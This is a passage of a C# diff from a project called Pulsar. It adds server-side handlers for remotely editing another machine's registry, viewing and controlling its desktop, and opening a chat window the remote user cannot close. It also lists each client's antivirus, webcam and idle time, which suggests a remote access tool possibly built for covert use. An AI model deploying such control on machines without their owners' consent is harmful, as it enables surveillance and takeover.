||||
_lastPreviewResponse = message;
|
||||
|
||||
// Check if the ListView has been initialized and has columns
|
||||
if (_verticleStatsTable.Columns.Count < 2)
|
||||
{
|
||||
// Create columns if they don't exist
|
||||
if (_verticleStatsTable.Columns.Count == 0)
|
||||
_verticleStatsTable.Columns.Add("Names", 100);
|
||||
if (_verticleStatsTable.Columns.Count == 1)
|
||||
_verticleStatsTable.Columns.Add("Stats", 150);
|
||||
}
|
||||
|
||||
// Clear existing items to avoid duplicate entries
|
||||
_verticleStatsTable.Items.Clear();
|
||||
|
||||
// Add the stats as new items
|
||||
var cpuItem = new ListViewItem("CPU");
|
||||
cpuItem.SubItems.Add(message.CPU);
|
||||
_verticleStatsTable.Items.Add(cpuItem);
|
||||
|
||||
var gpuItem = new ListViewItem("GPU");
|
||||
gpuItem.SubItems.Add(message.GPU);
|
||||
_verticleStatsTable.Items.Add(gpuItem);
|
||||
|
||||
if (double.TryParse(message.RAM, out double ramInMb))
|
||||
{
|
||||
double ramInGb = ramInMb / 1024;
|
||||
int roundedRAM = (int)Math.Round(ramInGb);
|
||||
var ramItem = new ListViewItem("RAM");
|
||||
ramItem.SubItems.Add($"{roundedRAM} GB");
|
||||
_verticleStatsTable.Items.Add(ramItem);
|
||||
}
|
||||
else
|
||||
{
|
||||
var ramItem = new ListViewItem("RAM");
|
||||
ramItem.SubItems.Add(message.RAM);
|
||||
_verticleStatsTable.Items.Add(ramItem);
|
||||
}
|
||||
|
||||
var uptimeItem = new ListViewItem("Uptime");
|
||||
uptimeItem.SubItems.Add(message.Uptime);
|
||||
_verticleStatsTable.Items.Add(uptimeItem);
|
||||
|
||||
var antivirusItem = new ListViewItem("Antivirus");
|
||||
antivirusItem.SubItems.Add(message.AV);
|
||||
_verticleStatsTable.Items.Add(antivirusItem);
|
||||
|
||||
var mainBrowserItem = new ListViewItem("Default Browser");
|
||||
mainBrowserItem.SubItems.Add(message.MainBrowser);
|
||||
_verticleStatsTable.Items.Add(mainBrowserItem);
|
||||
|
||||
var pingItem = new ListViewItem("Ping");
|
||||
pingItem.SubItems.Add(_lastPingMs >= 0 ? _lastPingMs + " ms" : "N/A");
|
||||
_verticleStatsTable.Items.Add(pingItem);
|
||||
|
||||
var webcamItem = new ListViewItem("Webcam");
|
||||
webcamItem.SubItems.Add(message.HasWebcam ? "Yes" : "No");
|
||||
_verticleStatsTable.Items.Add(webcamItem);
|
||||
|
||||
var afkItem = new ListViewItem("AFK Time");
|
||||
afkItem.SubItems.Add(message.AFKTime);
|
||||
_verticleStatsTable.Items.Add(afkItem);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Error updating stats: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
_codec?.Dispose();
|
||||
IsStarted = false;
|
||||
}
|
||||
|
||||
if (_pingHandler != null)
|
||||
{
|
||||
MessageHandler.Unregister(_pingHandler);
|
||||
_pingHandler.ProgressChanged -= OnPingReceived;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,415 @@
|
||||
using Microsoft.Win32;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.RegistryEditor;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote registry.
|
||||
/// </summary>
|
||||
public class RegistryHandler : MessageProcessorBase<string>
|
||||
{
|
||||
/// <summary>
|
||||
/// The client which is associated with this registry handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
public delegate void KeysReceivedEventHandler(object sender, string rootKey, RegSeekerMatch[] matches);
|
||||
public delegate void KeyCreatedEventHandler(object sender, string parentPath, RegSeekerMatch match);
|
||||
public delegate void KeyDeletedEventHandler(object sender, string parentPath, string subKey);
|
||||
public delegate void KeyRenamedEventHandler(object sender, string parentPath, string oldSubKey, string newSubKey);
|
||||
public delegate void ValueCreatedEventHandler(object sender, string keyPath, RegValueData value);
|
||||
public delegate void ValueDeletedEventHandler(object sender, string keyPath, string valueName);
|
||||
public delegate void ValueRenamedEventHandler(object sender, string keyPath, string oldValueName, string newValueName);
|
||||
public delegate void ValueChangedEventHandler(object sender, string keyPath, RegValueData value);
|
||||
|
||||
public event KeysReceivedEventHandler KeysReceived;
|
||||
public event KeyCreatedEventHandler KeyCreated;
|
||||
public event KeyDeletedEventHandler KeyDeleted;
|
||||
public event KeyRenamedEventHandler KeyRenamed;
|
||||
public event ValueCreatedEventHandler ValueCreated;
|
||||
public event ValueDeletedEventHandler ValueDeleted;
|
||||
public event ValueRenamedEventHandler ValueRenamed;
|
||||
public event ValueChangedEventHandler ValueChanged;
|
||||
|
||||
/// <summary>
|
||||
/// Reports initially received registry keys.
|
||||
/// </summary>
|
||||
/// <param name="rootKey">The root registry key name.</param>
|
||||
/// <param name="matches">The child registry keys.</param>
|
||||
private void OnKeysReceived(string rootKey, RegSeekerMatch[] matches)
|
||||
{
|
||||
SynchronizationContext.Post(t =>
|
||||
{
|
||||
var handler = KeysReceived;
|
||||
handler?.Invoke(this, rootKey, (RegSeekerMatch[]) t);
|
||||
}, matches);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports created registry keys.
|
||||
/// </summary>
|
||||
/// <param name="parentPath">The registry key parent path.</param>
|
||||
/// <param name="match">The created registry key.</param>
|
||||
private void OnKeyCreated(string parentPath, RegSeekerMatch match)
|
||||
{
|
||||
SynchronizationContext.Post(t =>
|
||||
{
|
||||
var handler = KeyCreated;
|
||||
handler?.Invoke(this, parentPath, (RegSeekerMatch) t);
|
||||
}, match);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports deleted registry keys.
|
||||
/// </summary>
|
||||
/// <param name="parentPath">The registry key parent path.</param>
|
||||
/// <param name="subKey">The registry sub key name.</param>
|
||||
private void OnKeyDeleted(string parentPath, string subKey)
|
||||
{
|
||||
SynchronizationContext.Post(t =>
|
||||
{
|
||||
var handler = KeyDeleted;
|
||||
handler?.Invoke(this, parentPath, (string) t);
|
||||
}, subKey);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports renamed registry keys.
|
||||
/// </summary>
|
||||
/// <param name="parentPath">The registry key parent path.</param>
|
||||
/// <param name="oldSubKey">The old registry sub key name.</param>
|
||||
/// <param name="newSubKey">The new registry sub key name.</param>
|
||||
private void OnKeyRenamed(string parentPath, string oldSubKey, string newSubKey)
|
||||
{
|
||||
SynchronizationContext.Post(t =>
|
||||
{
|
||||
var handler = KeyRenamed;
|
||||
handler?.Invoke(this, parentPath, oldSubKey, (string) t);
|
||||
}, newSubKey);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports created registry values.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The registry key path.</param>
|
||||
/// <param name="value">The created value.</param>
|
||||
private void OnValueCreated(string keyPath, RegValueData value)
|
||||
{
|
||||
SynchronizationContext.Post(t =>
|
||||
{
|
||||
var handler = ValueCreated;
|
||||
handler?.Invoke(this, keyPath, (RegValueData)t);
|
||||
}, value);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports deleted registry values.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The registry key path.</param>
|
||||
/// <param name="valueName">The value name.</param>
|
||||
private void OnValueDeleted(string keyPath, string valueName)
|
||||
{
|
||||
SynchronizationContext.Post(t =>
|
||||
{
|
||||
var handler = ValueDeleted;
|
||||
handler?.Invoke(this, keyPath, (string) t);
|
||||
}, valueName);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports renamed registry values.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The registry key path.</param>
|
||||
/// <param name="oldValueName">The old value name.</param>
|
||||
/// <param name="newValueName">The new value name.</param>
|
||||
private void OnValueRenamed(string keyPath, string oldValueName, string newValueName)
|
||||
{
|
||||
SynchronizationContext.Post(t =>
|
||||
{
|
||||
var handler = ValueRenamed;
|
||||
handler?.Invoke(this, keyPath, oldValueName, (string) t);
|
||||
}, newValueName);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports changed registry values.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The registry key path.</param>
|
||||
/// <param name="value">The new value.</param>
|
||||
private void OnValueChanged(string keyPath, RegValueData value)
|
||||
{
|
||||
SynchronizationContext.Post(t =>
|
||||
{
|
||||
var handler = ValueChanged;
|
||||
handler?.Invoke(this, keyPath, (RegValueData) t);
|
||||
}, value);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="RegistryHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public RegistryHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetRegistryKeysResponse ||
|
||||
message is GetCreateRegistryKeyResponse ||
|
||||
message is GetDeleteRegistryKeyResponse ||
|
||||
message is GetRenameRegistryKeyResponse ||
|
||||
message is GetCreateRegistryValueResponse ||
|
||||
message is GetDeleteRegistryValueResponse ||
|
||||
message is GetRenameRegistryValueResponse ||
|
||||
message is GetChangeRegistryValueResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetRegistryKeysResponse keysResp:
|
||||
Execute(sender, keysResp);
|
||||
break;
|
||||
case GetCreateRegistryKeyResponse createKeysResp:
|
||||
Execute(sender, createKeysResp);
|
||||
break;
|
||||
case GetDeleteRegistryKeyResponse deleteKeysResp:
|
||||
Execute(sender, deleteKeysResp);
|
||||
break;
|
||||
case GetRenameRegistryKeyResponse renameKeysResp:
|
||||
Execute(sender, renameKeysResp);
|
||||
break;
|
||||
case GetCreateRegistryValueResponse createValueResp:
|
||||
Execute(sender, createValueResp);
|
||||
break;
|
||||
case GetDeleteRegistryValueResponse deleteValueResp:
|
||||
Execute(sender, deleteValueResp);
|
||||
break;
|
||||
case GetRenameRegistryValueResponse renameValueResp:
|
||||
Execute(sender, renameValueResp);
|
||||
break;
|
||||
case GetChangeRegistryValueResponse changeValueResp:
|
||||
Execute(sender, changeValueResp);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Loads the registry keys of a given root key.
|
||||
/// </summary>
|
||||
/// <param name="rootKeyName">The root key name.</param>
|
||||
public void LoadRegistryKey(string rootKeyName)
|
||||
{
|
||||
_client.Send(new DoLoadRegistryKey
|
||||
{
|
||||
RootKeyName = rootKeyName
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a registry key at the given parent path.
|
||||
/// </summary>
|
||||
/// <param name="parentPath">The parent path.</param>
|
||||
public void CreateRegistryKey(string parentPath)
|
||||
{
|
||||
_client.Send(new DoCreateRegistryKey
|
||||
{
|
||||
ParentPath = parentPath
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the given registry key.
|
||||
/// </summary>
|
||||
/// <param name="parentPath">The parent path of the registry key to delete.</param>
|
||||
/// <param name="keyName">The registry key name to delete.</param>
|
||||
public void DeleteRegistryKey(string parentPath, string keyName)
|
||||
{
|
||||
_client.Send(new DoDeleteRegistryKey
|
||||
{
|
||||
ParentPath = parentPath,
|
||||
KeyName = keyName
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Renames the given registry key.
|
||||
/// </summary>
|
||||
/// <param name="parentPath">The parent path of the registry key to rename.</param>
|
||||
/// <param name="oldKeyName">The old name of the registry key.</param>
|
||||
/// <param name="newKeyName">The new name of the registry key.</param>
|
||||
public void RenameRegistryKey(string parentPath, string oldKeyName, string newKeyName)
|
||||
{
|
||||
_client.Send(new DoRenameRegistryKey
|
||||
{
|
||||
ParentPath = parentPath,
|
||||
OldKeyName = oldKeyName,
|
||||
NewKeyName = newKeyName
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a registry key value.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The registry key path.</param>
|
||||
/// <param name="kind">The kind of registry key value.</param>
|
||||
public void CreateRegistryValue(string keyPath, RegistryValueKind kind)
|
||||
{
|
||||
_client.Send(new DoCreateRegistryValue
|
||||
{
|
||||
KeyPath = keyPath,
|
||||
Kind = kind
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the registry key value.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The registry key path.</param>
|
||||
/// <param name="valueName">The registry key value name to delete.</param>
|
||||
public void DeleteRegistryValue(string keyPath, string valueName)
|
||||
{
|
||||
_client.Send(new DoDeleteRegistryValue
|
||||
{
|
||||
KeyPath = keyPath,
|
||||
ValueName = valueName
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Renames the registry key value.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The registry key path.</param>
|
||||
/// <param name="oldValueName">The old registry key value name.</param>
|
||||
/// <param name="newValueName">The new registry key value name.</param>
|
||||
public void RenameRegistryValue(string keyPath, string oldValueName, string newValueName)
|
||||
{
|
||||
_client.Send(new DoRenameRegistryValue
|
||||
{
|
||||
KeyPath = keyPath,
|
||||
OldValueName = oldValueName,
|
||||
NewValueName = newValueName
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Changes the registry key value.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The registry key path.</param>
|
||||
/// <param name="value">The updated registry key value.</param>
|
||||
public void ChangeRegistryValue(string keyPath, RegValueData value)
|
||||
{
|
||||
_client.Send(new DoChangeRegistryValue
|
||||
{
|
||||
KeyPath = keyPath,
|
||||
Value = value
|
||||
});
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetRegistryKeysResponse message)
|
||||
{
|
||||
if (!message.IsError)
|
||||
{
|
||||
OnKeysReceived(message.RootKey, message.Matches);
|
||||
}
|
||||
else
|
||||
{
|
||||
OnReport(message.ErrorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetCreateRegistryKeyResponse message)
|
||||
{
|
||||
if (!message.IsError)
|
||||
{
|
||||
OnKeyCreated(message.ParentPath, message.Match);
|
||||
}
|
||||
else
|
||||
{
|
||||
OnReport(message.ErrorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetDeleteRegistryKeyResponse message)
|
||||
{
|
||||
if (!message.IsError)
|
||||
{
|
||||
OnKeyDeleted(message.ParentPath, message.KeyName);
|
||||
}
|
||||
else
|
||||
{
|
||||
OnReport(message.ErrorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetRenameRegistryKeyResponse message)
|
||||
{
|
||||
if (!message.IsError)
|
||||
{
|
||||
OnKeyRenamed(message.ParentPath, message.OldKeyName, message.NewKeyName);
|
||||
}
|
||||
else
|
||||
{
|
||||
OnReport(message.ErrorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetCreateRegistryValueResponse message)
|
||||
{
|
||||
if (!message.IsError)
|
||||
{
|
||||
OnValueCreated(message.KeyPath, message.Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
OnReport(message.ErrorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetDeleteRegistryValueResponse message)
|
||||
{
|
||||
if (!message.IsError)
|
||||
{
|
||||
OnValueDeleted(message.KeyPath, message.ValueName);
|
||||
}
|
||||
else
|
||||
{
|
||||
OnReport(message.ErrorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetRenameRegistryValueResponse message)
|
||||
{
|
||||
if (!message.IsError)
|
||||
{
|
||||
OnValueRenamed(message.KeyPath, message.OldValueName, message.NewValueName);
|
||||
}
|
||||
else
|
||||
{
|
||||
OnReport(message.ErrorMsg);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetChangeRegistryValueResponse message)
|
||||
{
|
||||
if (!message.IsError)
|
||||
{
|
||||
OnValueChanged(message.KeyPath, message.Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
OnReport(message.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
using Pulsar.Common.Messages.UserSupport.RemoteChat;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Server.Forms;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
|
||||
public class RemoteChatHandler : MessageProcessorBase<object>
|
||||
{
|
||||
|
||||
private readonly Client _client;
|
||||
|
||||
|
||||
public delegate void RetrievedMessageHandler(object sender, string Message);
|
||||
|
||||
public event RetrievedMessageHandler PacketsRetrieved;
|
||||
|
||||
|
||||
private void RetrieveClientMessage(string Message)
|
||||
{
|
||||
SynchronizationContext.Post(d =>
|
||||
{
|
||||
var handler = PacketsRetrieved;
|
||||
handler?.Invoke(this, (string)d);
|
||||
}, Message);
|
||||
}
|
||||
public RemoteChatHandler(Client clients) : base(true)
|
||||
{
|
||||
_client = clients;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetChat;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetChat pass:
|
||||
Execute(sender, pass);
|
||||
break;
|
||||
}
|
||||
}
|
||||
public void StartForm(string Title, string WelcomeMessage, bool TopMost, bool DisableClose, bool DisableType)
|
||||
{
|
||||
_client.Send(new DoStartChatForm{
|
||||
Title = Title,
|
||||
WelcomeMessage = WelcomeMessage,
|
||||
TopMost = TopMost,
|
||||
DisableClose = DisableClose,
|
||||
DisableType = DisableType
|
||||
});
|
||||
}
|
||||
public void KillForm()
|
||||
{
|
||||
_client.Send(new DoKillChatForm());
|
||||
}
|
||||
|
||||
public void SendMessageClient(string user, string message)
|
||||
{
|
||||
_client.Send(new DoChat {
|
||||
User = user,
|
||||
PacketDms = message });
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetChat message)
|
||||
{
|
||||
Client c = (Client)client;
|
||||
RetrieveClientMessage(message.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,482 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Video.Codecs;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Collections.Concurrent;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote desktop.
|
||||
/// </summary>
|
||||
public class RemoteDesktopHandler : MessageProcessorBase<Bitmap>, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// States if the client is currently streaming desktop frames.
|
||||
/// </summary>
|
||||
public bool IsStarted { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether the remote desktop is using buffered mode.
|
||||
/// </summary>
|
||||
public bool IsBufferedMode { get; set; } = true;
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _syncLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _sizeLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution, see <seealso cref="LocalResolution"/>.
|
||||
/// </summary>
|
||||
private Size _localResolution;
|
||||
|
||||
/// <summary>
|
||||
/// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This property is thread-safe.
|
||||
/// </remarks>
|
||||
public Size LocalResolution
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
return _localResolution;
|
||||
}
|
||||
}
|
||||
set
|
||||
{
|
||||
lock (_sizeLock)
|
||||
{
|
||||
_localResolution = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle display changes.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="value">All currently available displays.</param>
|
||||
public delegate void DisplaysChangedEventHandler(object sender, int value);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when a display changed.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event DisplaysChangedEventHandler DisplaysChanged;
|
||||
|
||||
/// <summary>
|
||||
/// Reports changed displays.
|
||||
/// </summary>
|
||||
/// <param name="value">All currently available displays.</param>
|
||||
private void OnDisplaysChanged(int value)
|
||||
{
|
||||
SynchronizationContext.Post(val =>
|
||||
{
|
||||
var handler = DisplaysChanged;
|
||||
handler?.Invoke(this, (int)val);
|
||||
}, value);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The client which is associated with this remote desktop handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// The video stream codec used to decode received frames.
|
||||
/// </summary>
|
||||
private UnsafeStreamCodec _codec; // buffer parameters
|
||||
private readonly int _initialFramesRequested = 20; // request 20 frames initially for 60 FPS
|
||||
private readonly int _defaultFrameRequestBatch = 15; // request 15 frames at a time for sustained 60 FPS
|
||||
private int _pendingFrames = 0;
|
||||
private readonly SemaphoreSlim _frameRequestSemaphore = new SemaphoreSlim(1, 1);
|
||||
private readonly Stopwatch _frameReceiptStopwatch = new Stopwatch();
|
||||
private readonly ConcurrentQueue<long> _frameTimestamps = new ConcurrentQueue<long>();
|
||||
private readonly int _fpsCalculationWindow = 10; // calculate FPS based on last 10 frames
|
||||
|
||||
private readonly Stopwatch _performanceMonitor = new Stopwatch();
|
||||
private int _framesReceived = 0;
|
||||
private double _estimatedFps = 0;
|
||||
|
||||
private long _accumulatedFrameBytes = 0;
|
||||
private int _frameBytesSamples = 0;
|
||||
private long _lastFrameBytes = 0;
|
||||
|
||||
/// <summary>
|
||||
/// Size in bytes of the most recently received compressed frame.
|
||||
/// </summary>
|
||||
public long LastFrameSizeBytes => Interlocked.Read(ref _lastFrameBytes);
|
||||
|
||||
/// <summary>
|
||||
/// Average compressed frame size in bytes across the current streaming session.
|
||||
/// </summary>
|
||||
public double AverageFrameSizeBytes
|
||||
{
|
||||
get
|
||||
{
|
||||
long total = Interlocked.Read(ref _accumulatedFrameBytes);
|
||||
int count = Volatile.Read(ref _frameBytesSamples);
|
||||
return count > 0 ? (double)total / count : 0.0;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stores the last FPS reported by the client.
|
||||
/// </summary>
|
||||
private float _lastReportedFps = -1f;
|
||||
|
||||
/// <summary>
|
||||
/// Shows the last FPS reported by the client, or estimated FPS if not available.
|
||||
/// </summary>
|
||||
public float CurrentFps => _lastReportedFps > 0 ? _lastReportedFps : (float)_estimatedFps;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="RemoteDesktopHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public RemoteDesktopHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
_performanceMonitor.Start();
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetDesktopResponse d:
|
||||
Execute(sender, d);
|
||||
break;
|
||||
case GetMonitorsResponse m:
|
||||
Execute(sender, m);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void ClearTimeStamps()
|
||||
{
|
||||
while (_frameTimestamps.TryDequeue(out _)) { }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins receiving frames from the client using the specified quality and display.
|
||||
/// </summary>
|
||||
/// <param name="quality">The quality of the remote desktop frames.</param>
|
||||
/// <param name="display">The display to receive frames from.</param>
|
||||
/// <param name="useGPU">Whether to use GPU for screen capture.</param>
|
||||
public void BeginReceiveFrames(int quality, int display, bool useGPU)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
IsStarted = true;
|
||||
_codec?.Dispose();
|
||||
_codec = null;
|
||||
|
||||
// Reset buffering counters
|
||||
_pendingFrames = _initialFramesRequested;
|
||||
ClearTimeStamps();
|
||||
_framesReceived = 0;
|
||||
_frameReceiptStopwatch.Restart();
|
||||
|
||||
// Start in buffered mode
|
||||
_client.Send(new GetDesktop
|
||||
{
|
||||
CreateNew = true,
|
||||
Quality = quality,
|
||||
DisplayIndex = display,
|
||||
Status = RemoteDesktopStatus.Start,
|
||||
UseGPU = useGPU,
|
||||
IsBufferedMode = IsBufferedMode,
|
||||
FramesRequested = _initialFramesRequested
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Ends receiving frames from the client.
|
||||
/// </summary>
|
||||
public void EndReceiveFrames()
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
IsStarted = false;
|
||||
}
|
||||
|
||||
Debug.WriteLine("Remote desktop session stopped");
|
||||
|
||||
_client.Send(new GetDesktop { Status = RemoteDesktopStatus.Stop });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the available displays of the client.
|
||||
/// </summary>
|
||||
public void RefreshDisplays()
|
||||
{
|
||||
Debug.WriteLine("Refreshing displays");
|
||||
_client.Send(new GetMonitors());
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a mouse event to the specified display of the client.
|
||||
/// </summary>
|
||||
/// <param name="mouseAction">The mouse action to send.</param>
|
||||
/// <param name="isMouseDown">Indicates whether it's a mousedown or mouseup event.</param>
|
||||
/// <param name="x">The X-coordinate inside the <see cref="LocalResolution"/>.</param>
|
||||
/// <param name="y">The Y-coordinate inside the <see cref="LocalResolution"/>.</param>
|
||||
/// <param name="displayIndex">The display to execute the mouse event on.</param>
|
||||
public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (_codec == null) return;
|
||||
|
||||
_client.Send(new DoMouseEvent
|
||||
{
|
||||
Action = mouseAction,
|
||||
IsMouseDown = isMouseDown,
|
||||
// calculate remote width & height
|
||||
X = x * _codec.Resolution.Width / LocalResolution.Width,
|
||||
Y = y * _codec.Resolution.Height / LocalResolution.Height,
|
||||
MonitorIndex = displayIndex
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a keyboard event to the client.
|
||||
/// </summary>
|
||||
/// <param name="keyCode">The pressed key.</param>
|
||||
/// <param name="keyDown">Indicates whether it's a keydown or keyup event.</param>
|
||||
public void SendKeyboardEvent(byte keyCode, bool keyDown)
|
||||
{
|
||||
_client.Send(new DoKeyboardEvent { Key = keyCode, KeyDown = keyDown });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a drawing event to the client.
|
||||
/// </summary>
|
||||
/// <param name="x">The X coordinate.</param>
|
||||
/// <param name="y">The Y coordinate.</param>
|
||||
/// <param name="prevX">The previous X coordinate.</param>
|
||||
/// <param name="prevY">The previous Y coordinate.</param>
|
||||
/// <param name="strokeWidth">The width of the stroke.</param>
|
||||
/// <param name="colorArgb">The color in ARGB format.</param>
|
||||
/// <param name="isEraser">True if using eraser, false for drawing.</param>
|
||||
/// <param name="isClearAll">True to clear all drawings.</param>
|
||||
/// <param name="displayIndex">The display index to draw on.</param>
|
||||
public void SendDrawingEvent(int x, int y, int prevX, int prevY, int strokeWidth, int colorArgb, bool isEraser, bool isClearAll, int displayIndex)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
if (_codec == null || !IsStarted) return;
|
||||
|
||||
int remoteX = x * _codec.Resolution.Width / LocalResolution.Width;
|
||||
int remoteY = y * _codec.Resolution.Height / LocalResolution.Height;
|
||||
